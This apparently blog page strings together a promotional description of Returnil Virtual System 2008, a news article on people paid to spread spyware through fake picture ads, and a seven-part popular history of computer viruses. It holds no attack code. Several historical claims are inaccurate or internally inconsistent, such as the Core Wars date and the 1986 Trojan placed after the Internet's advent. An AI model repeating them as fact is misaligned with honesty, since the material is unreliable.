Even Windows now protect by installing firewall, anti-virus and again will be infected by virus, this is not cause of the software that users has installed are not well in protect the computer. Most of time this computer infected by the virus or Trojan is due to the user behavior. Some of the users will just click on the link that will redirect to the virus or Trojan site without their aware and some of them will purposely click on the file that has infected by virus or Trojan. To ensure all and make life easy, user now can get Returnil Virtual System to protect the system from being attack or infected by virus or Trojan.

Returnil Virtual System is a free tool that provides an altogether different and highly complimentary level of defense. It is designed to protect your computer from all types of software, downloads, websites or anything else that might harbor viruses, spyware and other malicious programs. When users run the Returnil Virtual System, it will clone the system partition as the isolated environment for users to use it. Users just will use the computer as normal and all the activity will remain in the isolated environment and will not in the real computer environment.

The advantage of the Returnil Virtual System is when the computer attack or has been infected by virus, users just have to reboot their system and the isolated environment will be removed and restore back the original state of the system. This concept is similar to the Sandboxie, but Returnil Virtual System more powerful and come with more features.

Below are the features of Returnil Virtual System 2008 Personal Edition

Keeps your System Partition safe when browsing the Internet.
Viruses, Trojans, Worms, Adware, Spyware, and unwanted content disappear with a simple reboot.
Enforces settings and protects your internet privacy.
Helps reduce overall disk wear by using memory rather than HDD cloning technology.
Saves you time, money, and lost hair by maintaining or improving peak computer performance.
Reduces or eliminates the need for routine disk de-fragmentation of your system partition.
Your spam filter is strong, but not infallible – Returnil will eliminate the consequences of opening infected e-mail and/or attachments.
Leaves absolutely no traces of computer activities.
Eliminates all activities even if your computer is powered-off or crashes.
Eliminates the danger of evaluating new software that does not require a reboot to install.
Offers stronger, simpler and smarter protection for your PC.
Seamless integration with supported Windows Operating Systems.
Easy to use, simple to configure, and the one tool in your arsenal that will be there to save the day when all else fails!.

Currently Returnil Virtual System 2008 Personal Edition only support Windows XP, Windows 2003 Server and Windows Vista 32-bit.

Who's Seeding the Net With Spyware?

Young surfers pick up paychecks for posting misleading pitches armed with invasive programs.

It's tough enough sometimes to figure out where you picked up that spyware, but have you ever wondered who planted that digital parasite?

It's likely a young man, maybe a college student, just making a few bucks spreading pop-up ads that contain a package unwelcome by many. And it's a growing cottage industry.

How It Works

Spyware follows your Internet surfing habits and serves up advertisements. You typically pick up spyware by clicking on links, which may not make it clear that you're downloading a "bonus" program when you read an ad or download a program you want.

The Federal Trade Commission defines spyware as "software that aids in gathering information about a person or organization without their knowledge and which may send such information to another entity without the consumer's consent, or asserts control over a computer without the consumer's knowledge." The federal government and several states are considering antispyware laws, and Utah recently enacted one.

FTC and industry leaders have urged Congress to resist spyware legislation, instead pushing for the industry to adopt self-regulatory practices. They fear that proposed laws define the practice too vaguely, and would prohibit other marketing practices that benefit consumers. But some lawmakers worry that the tech industry will not regulate spyware aggressively enough to protect consumers.

Meanwhile, computer users continue to face the side effects of spyware on their systems: bogged-down Internet connections, identity theft, lost documents, system problems, and potential loss of privacy.

Who's Behind It

The people distributing the links for spyware downloads are paid about 15 cents every time an unsuspecting surfer clicks on their misleading bait.

"Friends signed me up one night, after we'd been drinking," says one twenty-something man, who plants spyware for pay. "They said it was an easy way to make some money."

"All I had to do was sign up and post fake ads, saying things like 'to see my picture click here.' Then when they clicked, it told them they had to download software to see the pictures."

But the user downloaded no pictures; instead, they got the greeting, "Come back later to see my photo." The ad is bogus, but the contamination of the computer is real.

He says open forums and other unregulated sites are the best places to post ads, because large numbers of people are likely to click on the phony links.

"You have to move around," he says, noting that if users complain, he'll be kicked off a site, or a section of a site. For example, he will just move to a different part of a classified advertisement site, he says. "It's really easy, so reposting your ad is not a big deal."

At 15 cents per hit, he got checks every two weeks for a few hundred dollars each.

"I could have made a lot more," he says, adding that he really isn't doing it anymore. "All I had to do was put more ads up and I would have doubled or tripled my profits."

What's the Risk?

The foot soldiers who spread spyware may also become victims of the companies behind the software.

Many companies paying individuals to spread spyware post a disclaimer on their own Web site. It often contains a clause telling readers that if they commit fraud the company has the right to pull their paycheck.

However, the new Utah Spyware Control Act and other privacy laws sometimes invoked to combat spyware consider posting spyware to be fraud.

The spyware spreaders may not be reading the disclaimer themselves. But they do understand the company is paying them to trick people into downloading software, the young man says.

Does he feel any remorse for contaminating the computers of naive users? "Look, they're perverts if they click on my ads," he says, noting that the ads imply pornographic pictures await. "I say some nasty stuff, so, no, I don't feel bad." Anyone online should have a spyware blocker, spam blocker, and a firewall anyway, he said. "If they don't, they're just stupid."

A Challenging Battle

Placing ads online can be a tempting and easy way to make money from home, notes Ray Everette-Church, chief privacy officer for antispam product vendor Turn Tide.

"It is very successful," Everette-Church says. "Hundreds of thousands of dollars a month is generated in this tiered structural referral." He is serving as an expert witness for the plaintiffs in an ongoing adware case arguing against pop-up ads.

Millions of Americans online haven't protected their PCs, and pursuing perpetrators of spyware is more complicated than in other criminal investigations, according to Mozelle Thompson, an FTC commissioner.

"It's hard to identify how many companies are engaged in dangerous spyware, or spyware in general," Thompson says. "The definition of spyware is too broad."

The surreptitious nature of spyware makes it more difficult to track who, where, and how the spyware is disseminated, Thompson told a House subcommittee at a recent hearing.

"Consumer complaints, for instance, are less likely to lead directly to targets than in other law enforcement investigations, because consumers often do not know that spyware has caused the problems or, even if they do, they may not know the source of the spyware," he said at the April hearing.

Evolution of computer viruses or history of virus

part 1

Like any other field in computer science, viruses have evolved -a great deal indeed- over the years. In the series of press releases which start today, we will look at the origins and evolution of malicious code since it first appeared up to the present.

Going back to the origin of viruses, it was in 1949 that Mathematician John Von Neumann described self-replicating programs which could resemble computer viruses as they are known today. However, it was not until the 60s that we find the predecessor of current viruses. In that decade, a group of programmers developed a game called Core Wars, which could reproduce every time it was run, and even saturate the memory of other players’ computers. The creators of this peculiar game also created the first antivirus, an application named Reeper, which could destroy copies created by Core Wars.

However, it was only in 1983 that one of these programmers announced the existence of Core Wars, which was described the following year in a prestigious scientific magazine: this was actually the starting point of what we call computer viruses today.

At that time, a still young MS-DOS was starting to become the preeminent operating system worldwide. This was a system with great prospects, but still many deficiencies as well, which arose from software developments and the lack of many hardware elements known today. Even like this, this new operating system became the target of a virus in 1986: Brain, a malicious code created in Pakistan which infected boot sectors of disks so that their contents could not be accessed. That year also saw the birth of the first Trojan: an application called PC-Write.

Shortly after, virus writers realized that infecting files could be even more harmful to systems. In 1987, a virus called Suriv-02 appeared, which infected COM files and opened the door to the infamous viruses Jerusalem or Viernes 13. However, the worst was still to come: 1988 set the date when the “Morris worm” appeared, infecting 6,000 computers.

From that date up to 1995 the types of malicious codes that are known today started being developed: the first macro viruses appeared, polymorphic viruses … Some of these even triggered epidemics, such as MichaelAngelo. However, there was an event that changed the virus scenario worldwide: the massive use of the Internet and e-mail. Little by little, viruses started adapting to this new situation until the appearance, in 1999, of Melissa, the first malicious code to cause a worldwide epidemic, opening a new era for computer viruses.

part 2

This second installment of ‘The evolution of viruses’ will look at how malicious code used to spread before use of the Internet and e-mail became as commonplace as it is today, and the main objectives of the creators of those earlier viruses.
Until the worldwide web and e-mail were adopted as a standard means of communication the world over, the main mediums through which viruses spread were floppy disks, removable drives, CDs, etc., containing files that were already infected or with the virus code in an executable boot sector.

When a virus entered a system it could go memory resident, infecting other files as they were opened, or it could start to reproduce immediately, also infecting other files on the system. The virus code could also be triggered by a certain event, for example when the system clock reached a certain date or time. In this case, the virus creator would calculate the time necessary for the virus to spread and then set a date –often with some particular significance- for the virus to activate. In this way, the virus would have an incubation period during which it didn’t visibly affect computers, but just spread from one system to another waiting for ‘D-day’ to launch its payload. This incubation period would be vital to the virus successfully infecting as many computers as possible.

One classic example of a destructive virus that lay low before releasing its payload was CIH, also known as Chernobyl. The most damaging version of this malicious code activated on April 26, when it would try to overwrite the flash-BIOS, the memory which includes the code needed to control PC devices. This virus, which first appeared in June 1998, had a serious impact for over two years and still continues to infect computers today.

Because of the way in which they propagate, these viruses spread very slowly, especially in comparison to the speed of today’s malicious code. Towards the end of the Eighties, for example, the Friday 13th (or Jerusalem) virus needed a long time to actually spread and continued to infect computers for some years. In contrast, experts reckon that in January 2003, SQLSlammer took just ten minutes to cause global communication problems across the Internet.

Notoriety versus stealth

For the most part, in the past, the activation of a malicious code triggered a series of on screen messages or images, or caused sounds to be emitted to catch the user’s attention. Such was the case with the Ping Pong virus, which displayed a ball bouncing from one side of the screen to another. This kind of elaborate display was used by the creator of the virus to gain as much notoriety as possible. Nowadays however, the opposite is the norm, with virus authors trying to make malicious code as discreet as possible, infecting users’ systems without them noticing that anything is amiss.

pat 3

This third installment of ‘The evolution of viruses’ will look at how the Internet and e-mail changed the propagation techniques used by computer viruses.

Internet and e-mail revolutionized communications. However, as expected, virus creators didn’t take long to realize that along with this new means of communication, an excellent way of spreading their creations far and wide had also dawned. Therefore, they quickly changed their aim from infecting a few computers while drawing as much attention to themselves as possible, to damaging as many computers as possible, as quickly as possible. This change in strategy resulted in the first global virus epidemic, which was caused by the Melissa worm.

With the appearance of Melissa, the economic impact of a virus started to become an issue. As a result, users -above all companies- started to become seriously concerned about the consequences of viruses on the security of their computers. This is how users discovered antivirus programs, which started to be installed widely. However, this also brought about a new challenge for virus writers, how to slip past this protection and how to persuade users to run infected files.

The answer to which of these virus strategies was the most effective came in the form of a new worm: Love Letter, which used a simple but effective ruse that could be considered an early type of social engineering. This strategy involves inserting false messages that trick users into thinking that the message includes anything, except a virus. This worm’s bait was simple; it led users to believe that they had received a love letter.

This technique is still the most widely used. However, it is closely followed by another tactic that has been the center of attention lately: exploiting vulnerabilities in commonly used software. This strategy offers a range of possibilities depending on the security hole exploited. The first malicious code to use this method –and quite successfully- were the BubbleBoy and Kakworm worms. These worms exploited a vulnerability in Internet Explorer by inserting HTML code in the body of the e-mail message, which allowed them to run automatically, without needing the user to do a thing.

Vulnerabilities allow many different types of actions to be carried out. For example, they allow viruses to be dropped on computers directly from the Internet -such as the Blaster worm-. In fact, the effects of the virus depend on the vulnerability that the virus author tries to exploit.

part 4

In the early days of computers, there were relatively few PCs likely to contain “sensitive” information, such as credit card numbers or other financial data, and these were generally limited to large companies that had already incorporated computers into working processes.

In any event, information stored in computers was not likely to be compromised, unless the computer was connected to a network through which the information could be transmitted. Of course, there were exceptions to this and there were cases in which hackers perpetrated frauds using data stored in IT systems. However, this was achieved through typical hacking activities, with no viruses involved.

The advent of the Internet however caused virus creators to change their objectives, and, from that moment on, they tried to infect as many computers as possible in the shortest time. Also, the introduction of Internet services -like e-banking or online shopping- brought in another change. Some virus creators started writing malicious codes not to infect computers, but, to steal confidential data associated to those services. Evidently, to achieve this, they needed viruses that could infect many computers silently.

Their malicious labor was finally rewarded with the appearance, in 1986, of a new breed of malicious code generically called “Trojan Horse”, or simply “Trojan”. This first Trojan was called PC-Write and tried to pass itself off as the shareware version of a text processor. When run, the Trojan displayed a functional text processor on screen. The problem was that, while the user wrote, PC-Write deleted and corrupted files on the computers’ hard disk.

After PC-Write, this type of malicious code evolved very quickly to reach the stage of present-day Trojans. Today, many of the people who design Trojans to steal data cannot be considered virus writers but simply thieves who, instead of using blowtorches or dynamite have turned to viruses to commit their crimes. Ldpinch.W or the Bancos or Tolger families of Trojans are examples of this

part 5

Even though none of them can be left aside, some particular fields of computer science have played a more determinant role than others with regard to the evolution of viruses. One of the most influential fields has been the development of programming languages.

These languages are basically a means of communication with computers in order to tell them what to do. Even though each of them has its own specific development and formulation rules, computers in fact understand only one language called "machine code".

Programming languages act as an interpreter between the programmer and the computer. Obviously, the more directly you can communicate with the computer, the better it will understand you, and more complex actions you can ask it to perform.

According to this, programming languages can be divided into "low and high level" languages, depending on whether their syntax is more understandable for programmers or for computers. A "high level" language uses expressions that are easily understandable for most programmers, but not so much for computers. Visual Basic and C are good examples of this type of language.

On the contrary, expressions used by "low level" languages are closer to machine code, but are very difficult to understand for someone who has not been involved in the programming process. One of the most powerful, most widely used examples of this type of language is "assembler".

In order to explain the use of programming languages through virus history, it is necessary to refer to hardware evolution. It is not difficult to understand that an old 8-bit processor does not have the power of modern 64-bit processors, and this of course, has had an impact on the programming languages used.

In this and the next installments of this series, we will look at the different programming languages used by virus creators through computer history:

- Virus antecessors: Core Wars

As was already explained in the first chapter of this series, a group of programs called Core Wars, developed by engineers at an important telecommunications company, are considered the antecessors of current-day viruses. Computer science was still in the early stages and programming languages had hardly developed. For this reason, authors of these proto-viruses used a language that was almost equal to machine code to program them.

Curiously enough, it seems that one of the Core Wars programmers was Robert Thomas Morris, whose son programmed -years later- the "Morris worm". This malicious code became extraordinarily famous since it managed to infect 6,000 computers, an impressive figure for 1988.

- The new gurus of the 8-bits and the assembler language.

The names Altair, IMSAI and Apple in USA and Sinclair, Atari and Commodore in Europe, bring memories of times gone by, when a new generation of computer enthusiasts "fought" to establish their place in the programming world. To be the best, programmers needed to have profound knowledge of machine code and assembler, as interpreters of high-level languages used too much run time. BASIC, for example, was a relatively easy to learn language which allowed users to develop programs simply and quickly. It had however, many limitations.

This caused the appearance of two groups of programmers: those who used assembler and those who turned to high-level languages (BASIC and PASCAL, mainly).

Computer aficionados of the time enjoyed themselves more by programming useful software than malware. However, 1981 saw the birth of what can be considered the first 8-bit virus. Its name was "Elk Cloner", and was programmed in machine code. This virus could infect Apple II systems and displayed a message when it infected a computer.

part 6

Computer viruses evolve in much the same way as in other areas of IT. Two of the most important factors in understanding how viruses have reached their current level are the development of programming languages and the appearance of increasingly powerful hardware.

In 1981, almost at the same time as Elk Kloner (the first virus for 8-bit processors) made its appearance, a new operating system was growing in popularity. Its full name was Microsoft Disk Operating System, although computer buffs throughout the world would soon refer to it simply as DOS.

DOS viruses

The development of MS DOS systems occurred in parallel to the appearance of new, more powerful hardware. Personal computers were gradually establishing themselves as tools that people could use in their everyday lives, and the result was that the number of PCs users grew substantially. Perhaps inevitably, more users also started creating viruses. Gradually, we witnessed the appearance of the first viruses and Trojans for DOS, written in assembler language and demonstrating a degree of skill on the part of their authors.

Far less programmers know assembler language than are familiar with high-level languages that are far easier to learn. Malicious code written in Fortran, Basic, Cobol, C or Pascal soon began to appear. The last two languages, which are well established and very powerful, are the most widely used, particularly in their TurboC and Turbo Pascal versions. This ultimately led to the appearance of “virus families”: that is, viruses that are followed by a vast number of related viruses which are slightly modified forms of the original code.

Other users took the less ‘artistic’ approach of creating destructive viruses that did not require any great knowledge of programming. As a result, batch processing file viruses or BAT viruses began to appear.

Win16 viruses

The development of 16-bit processors led to a new era in computing. The first consequence was the birth of Windows, which, at the time, was just an application to make it easier to handle DOS using a graphic interface.

The structure of Windows 3.xx files is rather difficult to understand, and the assembler language code is very complicated, as a result of which few programmers initially attempted to develop viruses for this platform. But this problem was soon solved thanks to the development of programming tools for high-level languages, above all Visual Basic. This application is so effective that many virus creators adopted it as their ‘daily working tool’. This meant that writing a virus had become a very straightforward task, and viruses soon appeared in their hundreds. This development was accompanied by the appearance of the first Trojans able to steal passwords. As a result, more than 500 variants of the AOL Trojan family -designed to steal personal information from infected computers- were identified.

part 7

This seventh edition on the history of computer viruses will look at how the development of Windows and Visual Basic has influenced the evolution of viruses, as with the development of these, worldwide epidemics also evolved such as the first one caused by Melissa in 1999.

While Windows changed from being an application designed to make DOS easier to manage to a 32-bit platform and operating system in its own right, virus creators went back to using assembler as the main language for programming viruses.

Versions 5 and 6 of Visual Basic (VB) were developed, making it the preferred tool, along with Borland Delphi (the Pascal development for the Windows environment), for Trojan and worm writers. Then, Visual C, a powerful environment developed in C for Windows, was adopted for creating viruses, Trojans and worms. This last type of malware gained unusual strength, taking over almost all other types of viruses. Even though the characteristics of worms have changed over time, they all have the same objective: to spread to as many computers as possible, as quickly as possible.

With time, Visual Basic became extremely popular and Microsoft implemented part of the functionality of this language as an interpreter capable of running script files with a similar syntax.

At the same time as the Win32 platform was implemented, the first script viruses also appeared: malware inside a simple text file. These demonstrated that not only executable files (.EXE and .COM files) could carry viruses. As already seen with BAT viruses, there are also other means of propagation, proving the saying "anything that can be executed directly or through a interpreter can contain malware." To be specific, the first viruses that infected the macros included in Microsoft Office emerged. As a result, Word, Excel, Access and PowerPoint become ways of spreading ‘lethal weapons’, which destroyed information when the user simply opened a document.

Melissa and self-executing worms

The powerful script interpreters in Microsoft Office allowed virus authors to arm their creations with the characteristics of worms. A clear example is Melissa, a Word macro virus with the characteristics of a worm that infects Word 97 and 2000 documents. This worm automatically sends itself out as an attachment to an e-mail message to the first 50 contacts in the Outlook address book on the affected computer. This technique, which has unfortunately become very popular nowadays, was first used in this virus which, in 1999, caused one of the largest epidemics in computer history in just a few days. In fact, companies like Microsoft, Intel or Lucent Technologies had to block their connections to the Internet due to the actions of Melissa.

The technique started by Melissa was developed in 1999 by viruses like VBS/Freelink, which unlike its predecessor sent itself out to all the contacts in the address book on the infected PC. This started a new wave of worms capable of sending themselves out to all the contacts in the Outlook address book on the infected computer. Of these, the worm that most stands out from the rest is VBS/LoveLetter, more commonly known as ‘I love You’, which emerged in May 2000 and caused an epidemic that caused damage estimated at 10,000 million euros. In order to get the user’s attention and help it to spread, this worm sent itself out in an e-mail message with the subject ‘ILOVEYOU’ and an attached file called ‘LOVE-LETTER-FOR-YOU.TXT.VBS’. When the user opened this attachment, the computer was infected.

As well as Melissa, in 1999 another type of virus emerged that also marked a milestone in virus history. In November of that year, VBS/BubbleBoy appeared, a new type of Internet worm written in VB Script. VBS/BubbleBoy was automatically run without the user needing to click on an attached file, as it exploited a vulnerability in Internet Explorer 5 to automatically run when the message was opened or viewed. This worm was followed in 2000 by JS/Kak.Worm, which spread by hiding behind Java Script in the auto-signature in Microsoft Outlook Express, allowing it to infect computers without the user needing to run an attached file. These were the first samples of a series of worms, which were joined later on by worms capable of attacking computers when the user is browsing the Internet.